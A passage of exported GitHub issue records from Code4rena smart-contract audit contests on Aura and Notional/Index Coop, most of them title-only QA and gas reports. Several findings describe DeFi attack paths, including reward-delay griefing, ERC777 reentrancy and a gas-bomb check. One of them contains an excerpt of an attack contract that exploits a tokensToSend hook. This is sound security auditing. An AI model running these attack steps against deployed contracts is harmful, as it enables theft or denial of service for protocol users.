"2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimization", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/40", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "Gas Optimization"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/39", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimization", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/38", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "Gas Optimization"}, {"title": "Use of deprecated `safeApprove()` function ", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/35", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "Use of deprecated `safeApprove()` function "}, {"title": "`updateOperator()` can be called before an operator is set in proxy", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/34", "labels": ["bug", "disagree with severity", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-05-aura-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-aura/blob/main/contracts/Aura.sol#L82 # Vulnerability details ## Impact In `Aura.sol` the `updateOperator()` function can be called by anyone and it sets a new `operator` based on the address returned from `IStaker(vecrvProxy).operator()`. The problem is that anyone can call this function even if the operator on `vecrvProxy` is not yet set. If this is the case the operator in `Aura.sol` would be set to a zero address breaking the contract since functions like `init()` and `mint()` rely on the `msg.sender` being the `operator`. Even the `minterMint()` function relies on the `operator` since only the operator can set the `minter` which is the only one who can call `minterMinter()`. ## Proof of Concept https://github.com/code-423n4/2022-05-aura/blob/main/contracts/Aura.sol#L82 ## Tools Used Manual code review ## Recommended Mitigation Steps The `updateOperator()` function should not be a public function and should only be callable by an admin or the `operator` inside `Aura.sol`. Also in the `updateOperator()` function, there should be a check ensuring that the `newOperator` address is not a zero address to prevent breaking the contract by setting the `operator` to a zero address. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/33", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/28", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/27", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "BaseRewardPool4626 is not IERC4626 compliant", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/26", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-05-aura-findings", "body": "# Lines of code https://github.com/aurafinance/convex-platform/blob/9cae5eb5a77e73bbc1378ef213740c1889e2e8a3/contracts/contracts/BaseRewardPool4626.sol # Vulnerability details ## Impact BaseRewardPool4626 is not IERC4626 compliant. This makes the BaseRewardPool4626 contract irrelevant as it is for now since projects won't be able to integrate with BaseRewardPool4626 using the[eip-4626](https://eips.ethereum.org/EIPS/eip-4626) standard. ## Suggestion You can choose to remove the BaseRewardPool4626 and save on some deployment gas or review the necessary` functions` and `emits` required on [eip-4626](https://eips.ethereum.org/EIPS/eip-4626) and add it to BaseRewardPool4626. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/25", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/24", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/17", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/16", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "Gas Optimizations"}, {"title": "Duplicate Contract Names", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/12", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-05-aura-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-aura/blob/main/contracts/CrvDepositorWrapper.sol#L9 https://github.com/code-423n4/2022-05-aura/blob/main/contracts/AuraStakingProxy.sol#L10 # Vulnerability details ## Impact If a codebase has two contracts with the same names, the compilation artifacts will not contain one of the contracts. `ICrvDepositor` exists in both `AuraStakingProxy` and `CrvDepositorWrapper` ## Tools Manual Review ## Recommended Mitigation Steps Move the contract to an interface file and import it or if the interface differs rename one of the contracts. "}, {"title": "Wrong inflationProtectionTime", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/10", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "resolved", "sponsor acknowledged"], "target": "2022-05-aura-findings", "body": "Wrong inflationProtectionTime"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/5", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-05-aura-findings", "body": "QA Report"}, {"title": "Rewards distribution can be delayed/never distributed on AuraLocker.sol#L848", "html_url": "https://github.com/code-423n4/2022-05-aura-findings/issues/1", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor acknowledged", "sponsor confirmed"], "target": "2022-05-aura-findings", "body": "# Lines of code https://github.com/aurafinance/aura-contracts-lite/blob/main/contracts/AuraLocker.sol#L848 # Vulnerability details Rewards distribution can be delayed/never distributed on [AuraLocker.sol#L848 ](https://github.com/aurafinance/aura-contracts-lite/blob/main/contracts/AuraLocker.sol#L848) ### Issue Someone malicious can delay the rewards distribution for non `cvxCrv` tokens distributed on AuraLocker.sol. 1: Attacker will send one wei of token that are distributed on the [AuraLocker.sol ](https://github.com/aurafinance/aura-contracts-lite/blob/main/contracts/AuraLocker.sol) to [AuraStakingProxy](https://github.com/aurafinance/aura-contracts-lite/blob/6d60fca6f821dca1854a538807e7928ee582553a/contracts/AuraStakingProxy.sol). 2: Attacker will call [distributeOther](https://github.com/aurafinance/aura-contracts-lite/blob/6d60fca6f821dca1854a538807e7928ee582553a/contracts/AuraStakingProxy.sol#L203). The function will call notifyRewardAmount that calls [_notifyReward](https://github.com/aurafinance/aura-contracts-lite/blob/main/contracts/AuraLocker.sol#L860) When calling [_notifyReward](https://github.com/aurafinance/aura-contracts-lite/blob/main/contracts/AuraLocker.sol#L860) the rewards left to distribute over the 7 days are redistributed throughout a new period starting immediately. ``` uint256 remaining = uint256(rdata.periodFinish).sub(block.timestamp); uint256 leftover = remaining.mul(rdata.rewardRate); rdata.rewardRate = _reward.add(leftover).div(rewardsDuration).to96(); ``` _Example:_ If the reward rate is 1 token (10**18) per second and 3.5 days are left (302400 seconds), we get a leftover of 302400 tokens. this is then divided by 604800, the reward rate is now 0.5 and the user of the protocol will have to wait one week for tokens that were supposed to be distributed over 3.5 days. This can be repeated again and again so that some rewards are never distributed. ### Suggestion I can see that [queueNewRewards](https://github.com/aurafinance/aura-contracts-lite/blob/main/contracts/AuraLocker.sol#L820) has some protective mechanism. A new period is started only if the token that is added on top of the already distributed tokens during the duration is over 120%. I suggest adding a similar check to [queueNewRewards](https://github.com/aurafinance/aura-contracts-lite/blob/main/contracts/AuraLocker.sol#L820) "}, {"title": "Upgraded Q -> M from 104 [1656258768065]", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/239", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "upgraded by judge"], "target": "2022-06-notional-coop-findings", "body": "Judge has assessed an item in Issue #104 as Medium risk. The relevant finding follows:\r \r ## L01: Silent overflow of `_fCashAmount`\r \r ### Line References\r \r [https://github.com/code-423n4/2022-06-notional-coop/blob/6f8c325f604e2576e2fe257b6b57892ca181509a/index-coop-notional-trade-module/contracts/protocol/modules/v1/NotionalTradeModule.sol#L526](https://github.com/code-423n4/2022-06-notional-coop/blob/6f8c325f604e2576e2fe257b6b57892ca181509a/index-coop-notional-trade-module/contracts/protocol/modules/v1/NotionalTradeModule.sol#L526)\r \r ### Description\r \r If a `_fCashAmount` value that is greater than uint88 is passed into the `_mint` function, downcasting it to uint88 will silently overflow. \r \r ### Recommended Mitigation Steps\r \r ```solidity\r // Use a safe downcast function e.g. wfCashLogic::_safeUint88\r function _safeUint88(uint256 x) internal pure returns (uint88) {hil\r require(x <= uint256(type(uint88).max));\r return uint88(x);\r }\r ```\r "}, {"title": "User can alter amount returned by redeem function due to control transfer", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/235", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-06-notional-coop-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-notional-coop/blob/6f8c325f604e2576e2fe257b6b57892ca181509a/notional-wrapped-fcash/contracts/wfCashERC4626.sol#L212-L222 # Vulnerability details ## Impact Control is transferred to the receiver when receiving the ERC777. They are able to transfer the ERC777 to another account, at which time the before and after balance calculation will be incorrect. ``` uint256 balanceBefore = IERC20(asset()).balanceOf(receiver); if (msg.sender != owner) { _spendAllowance(owner, msg.sender, shares); } _redeemInternal(shares, receiver, owner); ///////////// Control is transferred to user. They can alter their balance here. /////////// uint256 balanceAfter = IERC20(asset()).balanceOf(receiver); uint256 assets = balanceAfter - balanceBefore; ////////// Assets can be as low as 0 if they have transferred the same amount out as received. ////////// emit Withdraw(msg.sender, receiver, owner, assets, shares); return assets; ``` ## Tools Used Manual review "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/234", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/233", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/232", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/231", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/230", "labels": ["bug", "G (Gas Optimization)", "Notional"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/228", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/227", "labels": ["bug", "QA (Quality Assurance)", "Notional"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/224", "labels": ["bug", "G (Gas Optimization)", "Notional"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/223", "labels": ["bug", "G (Gas Optimization)", "Index"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/222", "labels": ["bug", "QA (Quality Assurance)", "Notional"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/220", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/218", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/217", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/215", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/213", "labels": ["bug", "G (Gas Optimization)", "Notional"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/212", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/211", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/210", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/209", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/208", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/205", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/204", "labels": ["bug", "G (Gas Optimization)", "Notional"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/203", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/202", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/201", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/194", "labels": ["bug", "QA (Quality Assurance)", "Notional"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/192", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/191", "labels": ["bug", "G (Gas Optimization)", "Index"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/190", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/189", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "`IsWrappedFcash` check is a gas bomb", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/188", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "Index"], "target": "2022-06-notional-coop-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-notional-coop/blob/main/index-coop-notional-trade-module/contracts/protocol/modules/v1/NotionalTradeModule.sol#L639-L647 # Vulnerability details ## Impact In the `_isWrappedFCash` check, the `notionalTradeModule` check whether the component is a wrappedCash with the following logic. ```soliditiy try IWrappedfCash(_fCashPosition).getDecodedID() returns(uint16 _currencyId, uint40 _maturity){ try wrappedfCashFactory.computeAddress(_currencyId, _maturity) returns(address _computedAddress){ return _fCashPosition == _computedAddress; } catch { return false; } } catch { return false; } ``` The above logic is dangerous when `_fCashPosition` do not revert on `getDecodedID` but instead give a wrong format of return value. The contract would try to decode the return value into `returns(uint16 _currencyId, uint40 _maturity)` and revert. The revert would consume what ever gas it's provided. [CETH](https://etherscan.io/address/0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5) is an exmple. There's a fallback function in `ceth` ```soliditiy function () external payable { requireNoError(mintInternal(msg.value), \"mint failed\"); } ``` As a result, calling `getDecodedID` would not revert. Instead, calling `getDecodedID` of `CETH` would consume all remaining gas. This creates so many issues. First, users would waste too much gas on a regular operation. Second, the transaction might fail if `ceth` is not the last position. Third, the wallet contract can not interact with set token with ceth as it consumes all gas. ## Proof of Concept The following contract may fail to redeem setTokens as it consumes too much gas (with 20M gas limit). [Test.sol](https://gist.github.com/Jonah246/fad9e489fe84a6fb8b4894d7377fd8a2) ```soliditiy function test(uint256 _amount) external { cToken.approve(address(issueModule), uint256(-1)); wfCash.approve(address(issueModule), uint256(-1)); issueModule.issue(setToken, _amount, address(this)); issueModule.redeem(setToken, _amount, address(this)); } ``` Also, we can check how much gas it consumes with the following function. ```soliditiy function TestWrappedFCash(address _fCashPosition) public view returns(bool){ if(!_fCashPosition.isContract()) { return false; } try IWrappedfCash(_fCashPosition).getDecodedID() returns(uint16 _currencyId, uint40 _maturity){ try wrappedfCashFactory.computeAddress(_currencyId, _maturity) returns(address _computedAddress){ return _fCashPosition == _computedAddress; } catch { return false; } } catch { return false; } } ``` Test this function with `cdai` and `ceth`, we can observe that there's huge difference of gas consumption here. ``` Gas used: 30376 of 130376 Gas used: 19479394 of 19788041 ``` ## Tools Used Manual inspection. Hardhat ## Recommended Mitigation Steps I recommend building a map in the notionalTradeModule and inserting the wrappeCash in the `mintFCashPosition` function. ```soliditiy function addWrappedCash(uint16 _currencyId, uint40 _maturity) public { address computedAddress = wrappedfCashFactory.computeAddress(_currencyId, _maturity); wrappedFCash[computedAddress] = true; } ``` Or we could replace the try-catch pattern with a low-level function call and check the return value's length before decoding it. Something like this might be a fix. ```soliditiy (bool success, bytes memory returndata) = target.delegatecall(data); if (!success || returndata.length != DECODED_ID_RETURN_LENGTH) { return false; } // abi.decode .... ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/187", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/186", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/185", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/184", "labels": ["bug", "G (Gas Optimization)", "Notional"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/180", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/178", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/177", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/175", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/173", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/172", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/171", "labels": ["bug", "QA (Quality Assurance)", "Index"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/170", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "wfCash4626 withdraw method can settle the account", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/169", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor confirmed", "Notional"], "target": "2022-06-notional-coop-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-notional-coop/blob/main/notional-wrapped-fcash/contracts/wfCashERC4626.sol#L192 # Vulnerability details `withdraw` will revert if the account has not been settled yet. This is just due to the implementation and can be avoided by, well, settling the account. ## Impact `withdraw` reverts unnecessarily. Protocols and users which will use wfCash4626 will have to discover this and settle by themselves. ## Proof of Concept `withdraw` [calls](https://github.com/code-423n4/2022-06-notional-coop/blob/main/notional-wrapped-fcash/contracts/wfCashERC4626.sol#L192) `previewWithdraw`, which ends up calling `_getMaturedValue`, which [will revert](https://github.com/code-423n4/2022-06-notional-coop/blob/main/notional-wrapped-fcash/contracts/wfCashERC4626.sol#L23) if the account is not settled yet. ## Recommended Mitigation Steps Add to `withdraw`: ``` NotionalV2.settleAccount(address(this)); ``` This will ensure that the account is settled and `withdraw` will not revert. "}, {"title": "DOS set token through erc777 hook", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/168", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "Notional"], "target": "2022-06-notional-coop-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-notional-coop/blob/main/index-coop-notional-trade-module/contracts/protocol/modules/v1/DebtIssuanceModule.sol#L131-L141 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC777/ERC777.sol#L376-L380 # Vulnerability details ## Impact The `wfCash` is an `erc777` token. [ERC777.sol#L376-L380](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC777/ERC777.sol#L376-L380) Users can get the control flow before sending token and after receiving tokens. This creates attack vectors that require extra caution in designing modules. Any combination of modules may lead to a possible exploit. To elaborate on the dangerousness of the re-entrancy attack, a possible scenario is presented. Before the exploit, we first elaborate on three attack vectors: 1. [DebtIssuanceModule.sol#L131-L141](https://github.com/code-423n4/2022-06-notional-coop/blob/main/index-coop-notional-trade-module/contracts/protocol/modules/v1/DebtIssuanceModule.sol#L131-L141) The issuance module would pull tokens from the sender before minting setToken. Assume there are three compoenents in this set. 1. CDai. 2. wfCash In the `_callTokensToSend`, the setToken has received `cdai` and the `totalSupply` is still the same. 2. `nonReentrant` does not protect cross-contract re-entrancy. This means, that during the `issue` of issuance module, users can trigger other modules' functions. 3. Restricted functions with `onlyManagerAndValidSet` modifier may be triggered by the exploiter as well. Manager of a setToken is usually a manager contract. Assume it's a multisig-wallet, the exploiter can front-run the execute transaction and replay the payload during his exploit. Note, a private transaction from flash-bot can still be front-run. Please refer to the [uncle bandit risk](https://docs.flashbots.net/flashbots-protect/rpc/uncle-bandits) Given the above attack vectors, the exploiter have enough weapons to exploit the `setToken` at a propriate time. Note that different combination of modules may have different exploit paths. As long as the above attack vectors remain, the setToken is vulnerable. Assume a setToken with `CompoundLeverageModule`, `NotionalTradeModule` and `BasicIssuanceModule` with the following positions: 1. CDAI: 100 2. wfCash-DAI 100 and totalSupply = 100. The community decides to remove the `compoundLeverageModule` from the set token. Since `notionalTradeModule` can handle cDAI, the community vote to just call `removeModule` to remove `compoundLeverageModule`. The exploiter has the time to build an exploit and wait the right timing to come. 0. The exploiter listen the manager multisig wallet. 1. Exploiter issue 10 setToken. 2. During the `_callTokensToSend` of `wfcash`, the totalSupply = 100, CDAI = 110, wfCash-DAI = 110. 3. Call `sync` of `CompoundLeverageModule`. `_getCollateralPosition` get `_cToken.balanceOf(address(_setToken)) = 110` and `totalSupply = 100` and update the `DefaultUnit` of `CETH` 1,1X. 4. Replay multisig wallet's payload and remove `compoundLeverageModule`. 5. The `setToken` can no longer issue / redeem as it would raise `undercollateralized` error. Further, `setValuer` would give a pumped valuation that may cause harm to other protocols. ## Proof of Concept [POC](https://gist.github.com/Jonah246/13e58b59765c0334189c99a9f29c6dab) The exploit is quite lengthy. Please check the `Attack.sol` for the main exploit logic. ```soliditiy function register() public { _ERC1820_REGISTRY.setInterfaceImplementer(address(this), _TOKENS_SENDER_INTERFACE_HASH, address(this)); _ERC1820_REGISTRY.setInterfaceImplementer(address(this), _TOKENS_SENDER_INTERFACE_HASH, address(this)); } function attack(uint256 _amount) external { cToken.approve(address(issueModule), uint256(-1)); wfCash.approve(address(issueModule), uint256(-1)); issueModule.issue(setToken, _amount, address(this)); } function tokensToSend( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external { compoundModule.sync(setToken, false); manager.removeModule(address(setToken)); } ``` ## Tools Used Manual inspection. ## Recommended Mitigation Steps The design choice of wfcash being an `ERC777` seems unnecessary to me. Over the past two years, ERC777 leads to so many exploits. [IMBTC-UNISWAP](https://defirate.com/imbtc-uniswap-hack/) [CREAM-AMP](https://twitter.com/CreamdotFinance/status/1432249771750686721?s=20) I recommend the team using ERC20 instead. If the SetToken team considers supporting ERC777 necessary, I recommend implementing protocol-wide cross-contract reentrancy prevention. Please refer to Rari-Capital. [Comptroller.sol#L1978-L2002](https://github.com/Rari-Capital/fuse-v1/blob/development/src/core/Comptroller.sol#L1978-L2002) Note that, `Rari` was [exploited](https://www.coindesk.com/business/2022/04/30/defi-lender-rari-capitalfei-loses-80m-in-hack/) given this reentrancy prevention. Simply making `nonReentrant` cross-contact prevention may not be enough. I recommend to setToken protocol going through every module and re-consider whether it's re-entrancy safe. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/166", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-notional-coop-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/165", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/164", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-notional-coop-findings", "body": "QA Report"}, {"title": "Residual Allowance Might Allow Tokens In SetToken To Be Stolen", "html_url": "https://github.com/code-423n4/2022-06-notional-coop-findings/issues/160", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "Index"], "target": "2022-06-notional-coop-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-notional-coop/blob/6f8c325f604e2576e2fe257b6b57892ca181509a/index-coop-notional-trade-module/contracts/protocol/modules/v1/NotionalTradeModule.sol#L418 https://github.com/code-423n4/2022-06-notional-coop/blob/6f8c325f604e2576e2fe257b6b57892ca181509a/index-coop-notional-trade-module/contracts/protocol/modules/v1/NotionalTradeModule.sol#L493 # Vulnerability details ## Proof-of-Concept Whenever `_mintFCashPosition` function is called to mint new fCash position, the contract will call the `_approve` function to set the allowance to `_maxSendAmount` so that the fCash Wrapper contact can pull the payment tokens from the SetToken contract during minting. [https://github.com/code-423n4/2022-06-notional-coop/blob/6f8c325f604e2576e2fe257b6b57892ca181509a/index-coop-notional-trade-module/contracts/protocol/modules/v1/NotionalTradeModule.sol#L418](https://github.com/code-423n4/2022-06-notional-coop/blob/6f8c325f604e2576e2fe257b6b57892ca181509a/index-coop-notional-trade-module/contracts/protocol/modules/v1/NotionalTradeModule.sol#L418) ```solidity function _mintFCashPosition( ISetToken _setToken, IWrappedfCashComplete _fCashPosition, IERC20 _sendToken, uint256 _fCashAmount, uint256 _maxSendAmount ) internal returns(uint256 sentAmount) { if(_fCashAmount == 0) return 0; bool fromUnderlying = _isUnderlying(_fCashPosition, _sendToken); _approve(_setToken, _fCashPosition, _sendToken, _maxSendAmount); uint256 preTradeSendTokenBalance = _sendToken.balanceOf(address(_setToken)); uint256 preTradeReceiveTokenBalance = _fCashPosition.balanceOf(address(_setToken)); _mint(_setToken, _fCashPosition, _maxSendAmount, _fCashAmount, fromUnderlying) ..SNIP.. } ``` Note that `_maxSendAmount` is the maximum amount of payment tokens that is allowed to be consumed during minting. This is not the actual amount of payment tokens consumed during the minting process. Thus, after the minting, there will definitely be some residual allowance since it is unlikely that the fCash wrapper contract will 